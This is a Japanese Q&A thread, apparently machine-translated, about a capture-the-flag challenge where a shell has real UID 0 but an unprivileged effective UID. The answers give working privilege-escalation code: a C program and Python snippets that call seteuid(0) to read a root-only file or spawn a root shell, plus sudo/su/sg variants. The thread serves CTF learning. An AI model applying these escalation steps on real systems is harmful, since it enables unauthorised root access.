web-dev-qa-db-ja.com

UIDはルートですが、whoamiは誰も言いません

私はキャプチャーザフラッグコンテストに参加しています。そこでは、flag.txtファイルを読み取るために何らかの形式の特権昇格を実装する必要があります。 whoamiを実行すると、次の結果が得られることに気付きました。

myHostHere:/$ whoami
nobody

しかし、idを実行すると、UIDはrootに設定されます。

myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)

これは、rootユーザーなどとして行動する可能性があることを意味しますか、それとも出力を誤って解釈しているのでしょうか?

編集:

ls -l flag.txtの出力は次のとおりです。

-r--r-----    1 root     root            34 Feb 10 12:00 flag.txt
2
user1150470

これは、別のマシンでそのようなCプログラムを(--staticを使用して)作成およびコンパイルすることで解決できます。

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
    seteuid(0);
    setgid(0);
    system("cat flag.txt");
}

このファイルは、chmod +xで実行する権限を与えられて、CTFマシンにコピーし、tmpフォルダーから実行できます。

1
user1150470

私はあなたと非常によく似たセットアップを作成しました。私はデバッガーでそれを行いました(例: ここ および そこ )。影響を受けたシェルで私は持っています:

$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$

次に、 この回答 によると:

ファイルアクセス、およびroot権限を必要とする操作については、有効なUIDとGIDを確認してください。

確かに、これは何が起こるかです:

$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$

しかし、私はこれを行うことができます:

$ Sudo cat flag.txt
foo

またはこれ:

$ su -
# whoami
root
# cat flag.txt
foo

またはこれ:

$ sg root 'cat flag.txt'
foo

uid=0がある場合、seteuidシステムコールを使用してファイルを読み取ることができるものなら何でも役に立ちます。例えば。 python

import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()

ファイルを読み取る(または読み取る)代わりに、昇格したシェルを生成できます。

import os
os.seteuid(0)
os.execve("/bin/sh", [], {})

このシェルでは、あなたはrootです。 cat flag.txtは機能します。


テストベッド:Debian GNU/Linux9。

0